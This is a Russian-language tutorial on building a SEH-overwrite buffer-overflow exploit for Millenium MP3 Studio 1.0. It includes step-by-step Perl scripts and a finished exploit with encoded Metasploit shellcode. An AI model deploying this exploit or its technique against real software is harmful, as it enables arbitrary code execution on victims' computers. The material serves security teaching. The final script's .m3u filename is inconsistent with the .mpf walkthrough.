Я указал, что SEH должен быть перезаписан указателем на "pop,pop,ret", и что nextSEH должен быть переpfписан 6 байтами, чтобы перепрыгнуть через SEH… Конечно, эта структура была основана на логике SEH-уязвимости, и более применима к уязвимости в Easy RM to MP3 Player. Таким образом, это только пример демонстрирующий концепцию уязвимости в SEH, при которой вы должны видеть значения всех регистров, использовать контрольные точки, и т.п., чтобы определить область для полезной нагрузки и самого шеллкода. Наблюдая за стеком строили структуру полезной нагрузки…

Иногда вам может улыбнуться удача, и полезная нагрузка может быть построена почти мгновенно. Иногда вам не хватает везения, и вы прилаживаете намного больше усилий для того, чтобы эксплойт мог стабильно работать в нескольких версиях ОС. Иногда вы будете прибегать к использованию жесткой адресации потому, что это будет единственный способ сделать рабочий эксплойт. В любом случае, большинство эксплойтов различны между собой, т.к. это ручная работа, основанная на определенных свойствах уязвимости и доступных методов для её эксплуатации.

В данной части руководства мы рассмотрим создание эксплойта для уязвимости, которая была обнаружена в Millenium MP3 Studio.


В PoC скрипте (вероятно основанном на значениях регистров) говорится о том, что уязвимость легко эксплуатировать, но автор находки этого сделать не смог.



Основываясь на значениях регистров, которые показал "Hack4love"(автор найденной уязвимости), можно было предположить, что это типичное стековое переполнение, где EIP перезаписан мусором. Таким образом, вы должны найти смещение к EIP, найти полезную нагрузку в одном из регистров, и перезаписать EIP "переходом к …", так? Хмм… Не совсем.

Давайте разбираться. Создайте файл с "http://" … +5000 A, и запустив его в приложении, через windbg, посмотрим, что произойдет.

#!usr/bin/perl
my $sploitfile="c0d3r.mpf";
my $junk = "http://";
$junk=$junk."A"x5000;
my $payload=$junk;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";

Откройте windbg и запустите mp3studio. Запустите выполнение программы и откройте файл.



Нарушение доступа (Access violation), но значения регистров никак не соответствуют заявленным в PoC-скрипте. Значит, любая длина буфера является неправильной (чтобы вызвать типичное перезаписывающее EIP переполнение стека), или эта уязвимость основана на SEH. Посмотрим на SEH-цепочку, чтобы определиться:



так, хорошо. И SE Handler и nextSEH перезаписаны. Значит, это будет SEH-эксплойт.

Создайте другой файл с шаблоном из 5000 символов при помощи утилиты из Metasploit, чтобы определить смещение к nextSEH и SE Handler’у:

Теперь SEH-цепочка выглядит так:



Таким образом SE Handler был перезаписан на 0x39466830 (little endian, помните), и next SEH был перезаписан на 0x67384667
  • - SE Handler: 0?39466830 = 9Fh0 (смещение по шаблону - 4109)
  • - nextSEH: 0?67384667 = g8Fg (смещение по шаблону - 4105)

Это уже имеет какой-то смысл.

Теперь, для типичного SEH-эксплойта, вы сделаете следуещее:
  • - в начале 4105 символов мусора(junk) (избавившись заранее от небольшого количества ненужных символов, таких как два слеша после http:, и добавив несколько A, чтобы держать количество символов в группах по 4);
  • - перезапишите nextSEH на jump-код (0xeb, 0?06,0?90,0?90), чтобы перепрыгнуть через SE Handler и попасть в шелллкод;
  • - перезапишите SE Handler указателем на pop,pop,ret;
  • - поместите шеллкод (окруженный nop’ами в случае необходимости) и добавите больше данных, если потребуется;

или perl-скрипт (использующий некоторое подставные данные для того, чтобы проверить смещения):

#!usr/bin/perl
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="BBBB";
my $seh="CCCC";
my $shellcode="D"x($totalsize-length($junk.$nseh.$seh));
my $payload=$junk.$nseh.$seh.$shellcode;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;
close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)."

Крах:



Таким образом, SE Handler был перезаписан на 43434343 (4 C, как и ожидалось), а nextSEH был перезаписан на 42424242 (4 B, как и ожидалось).
Давайте заменим SE Handler указателем на pop,pop,ret, и nextSHE заменим четырьмя контрольными точками.
Обратите внимание на список загруженных модулей и попытайтесь найти в одном из них последовательность pop,pop,ret. (Вы можете использовать плагин Ollydbg "SafeSEH", чтобы увидеть, собраны ли модули с safeSEH или нет).
xaudio.dll, одна из прикладных dll, содержит многократные pop,pop,ret. Мы будем использовать этот 0x1002083D:

#!usr/bin/perl
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xcc\xcc\xcc\xcc"; #контрольная точка
my $seh=pack('V',0x1002083D);
my $shellcode="D"x($totalsize-length($junk.$nseh.$seh));
my $payload=$junk.$nseh.$seh.$shellcode;#
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;
close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";

При первом нарушении доступа (Access violation) мы направим исключение назад к приложению. pop,pop,ret был выполнен, и вы должны закончить на коде контрольной точки (в nseh).

Где теперь наша полезная нагрузка? Это должно быть похоже на большое количество D (после seh)…, но это могут быть и A (из начала буфера). Давайте поределят.Если полезная нагрузка находится после seh, (и приложение остановилось на контрольной точке), то EIP должен теперь указывать на первый байт nextSEH (код контрольной точки), и таким образом дамп eip долеж показать nseh, сопровождаемый seh, после которого идет шеллкод:



Это выглядит многообещающе, однако мы видим некоторые нулевые байты после первых 32 байт. Значит, у нас есть 2 варианта: использовать 4 байта кода в nseh, чтобы перепрыгнуть через seh, и затем использовать те 16 байт, чтобы перепрыгнуть через нулевые байты. Или же сделать переход непосредственно из nseh в шеллкода.
Во-первых, давайте проверим, что мы действительно смотрим в начала шеллкода (заменяя первые D какими-нибудь легко узнаваемыми данными):

#!usr/bin/perl
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xcc\xcc\xcc\xcc";
my $seh=pack('V',0x1002083D);
my $shellcode="A123456789B123456789C123456789D123456789";
my $junk2 = "D" x ($totalsize-length($junk.$nseh.$seh.$shellcode));
my $payload=$junk.$nseh.$seh.$shellcode.$junk2;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";



Хорошо, это начало шеллкода, но в нем есть небольшое "отверстие" после первых двух байт…
Скажем, мы хотим перепрыгнуть через отверстие, и начать шеллкод с 4 NOP’ов (таким образом мы можем поместить свой реальный шеллкод в 0012f9c0…, используя всего 24 NOP’а перед шеллкодом), тогда мы должны сделать скачок (от nseh) на 30 байт. Это - 0xeb, 0x1e:

#!usr/bin/perl
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xeb\x1e\x90\x90"; #прыжок на 30 байт
my $seh=pack('V',0x1002083D);
my $nops = "\x90" x 24;
my $shellcode="\xcc\xcc\xcc\xcc";
my $junk2 = "D" x ($totalsize-length($junk.$nseh.$seh.$nops.$shellcode));
my $payload=$junk.$nseh.$seh.$nops.$shellcode.$junk2;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";

Открыв mpf файл, вы должны быть остановлены в контрольной точке (в 0x0012f9c0) после прохождения первого исключения:



Хорошо, теперь замените контрольные точки в коде на реальный шеллкод:, тем самым завершив код эксплойта:

#!usr/bin/perl
# [+] Vulnerability : .mpf File Local Stack Overflow Exploit (SEH) #2
# [+] Product  : Millenium MP3 Studio
# [+] Versions affected : v1.0
# [+] Download          : http://www.software112.com/products/mp3-millennium+download.html
# [+] Method  : seh
# [+] Tested on         : Windows XP SP3 En
# [+] Written by        : corelanc0d3r  (corelanc0d3r[at]gmail[dot]com
# [+] Greetz to         : Saumil & SK
# Based on PoC/findings by HACK4LOVE ( http://milw0rm.com/exploits/9277 
# -----------------------------------------------------------------------------
#                                               MMMMM~.
#                                               MMMMM?.
#    MMMMMM8.  .=MMMMMMM.. MMMMMMMM, MMMMMMM8.  MMMMM?. MMMMMMM:   MMMMMMMMMM.
#  MMMMMMMMMM=.MMMMMMMMMMM.MMMMMMMM=MMMMMMMMMM=.MMMMM?7MMMMMMMMMM: MMMMMMMMMMM:
#  MMMMMIMMMMM+MMMMM$MMMMM=MMMMMD$I8MMMMMIMMMMM~MMMMM?MMMMMZMMMMMI.MMMMMZMMMMM:
#  MMMMM==7III~MMMMM=MMMMM=MMMMM$. 8MMMMMZ$$$$$~MMMMM?..MMMMMMMMMI.MMMMM+MMMMM:
#  MMMMM=.     MMMMM=MMMMM=MMMMM7. 8MMMMM?    . MMMMM?NMMMM8MMMMMI.MMMMM+MMMMM:
#  MMMMM=MMMMM+MMMMM=MMMMM=MMMMM7. 8MMMMM?MMMMM:MMMMM?MMMMMIMMMMMO.MMMMM+MMMMM:
#  =MMMMMMMMMZ~MMMMMMMMMM8~MMMMM7. .MMMMMMMMMMO:MMMMM?MMMMMMMMMMMMIMMMMM+MMMMM:
#  .:$MMMMMO7:..+OMMMMMO$=.MMMMM7.  ,IMMMMMMO$~ MMMMM?.?MMMOZMMMMZ~MMMMM+MMMMM:
#     .,,,..      .,,,,.   .,,,,,     ..,,,..   .,,,,.. .,,...,,,. .,,,,..,,,,.
#                                                                   eip hunters
# -----------------------------------------------------------------------------
#
# Script provided for educational purposes only.
#
#
#
my $totalsize=5005;
my $sploitfile="c0d3r.m3u";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xeb\x1e\x90\x90";  #прыжок на 30 байт
my $seh=pack('V',0x1002083D);  #pop pop ret из xaudio.dll
my $nops = "\x90" x 24;
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
my $shellcode="\x89\xe6\xda\xdb\xd9\x76\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b" .
"\x58\x50\x44\x45\x50\x43\x30\x43\x30\x4c\x4b\x51\x55\x47" .
"\x4c\x4c\x4b\x43\x4c\x45\x55\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a" .
"\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x45\x51\x4a\x4e\x50" .
"\x31\x49\x50\x4d\x49\x4e\x4c\x4c\x44\x49\x50\x42\x54\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4b" .
"\x44\x47\x4b\x51\x44\x47\x54\x45\x54\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x46\x44\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x51" .
"\x34\x45\x54\x48\x43\x51\x4f\x50\x31\x4a\x56\x43\x50\x51" .
"\x46\x45\x34\x4c\x4b\x47\x36\x46\x50\x4c\x4b\x47\x30\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45" .
"\x58\x4b\x39\x4b\x48\x4b\x33\x49\x50\x43\x5a\x46\x30\x42" .
"\x48\x4a\x50\x4c\x4a\x44\x44\x51\x4f\x42\x48\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x51\x47\x4b\x4f\x4a\x47\x42\x43\x45" .
"\x31\x42\x4c\x45\x33\x45\x50\x41\x41";
my $junk2 = "D" x ($totalsize-length($junk.$nseh.$seh.$nops.$shellcode));
my $payload=$junk.$nseh.$seh.$nops.$shellcode.$junk2;
#
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;
close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";

pwned!

Упражнение

У меня есть небольшое упражнение для вас: попытайтесь написать рабочий эксплойт для m3u файла, и посмотрите, сможете ли вы найти способ заменить EIP-переполнение на SEH.

Примечание: шеллкод не должен быть помещен после nseh/seh. Он должен быть помещен в первую часть буфера полезной нагрузки, и вы при этом можете использовать:
  • - маленькое буферное пространство, чтобы записать какой-либо jump-код, таким образом, перейти к реальному шеллкоду.
  • - жесткую адресацию (если ничего больше не помогает)


SEH-эксплойт для m3u файлов почти идентичен mpf версии, поэтому я не стану сейчас это описывать.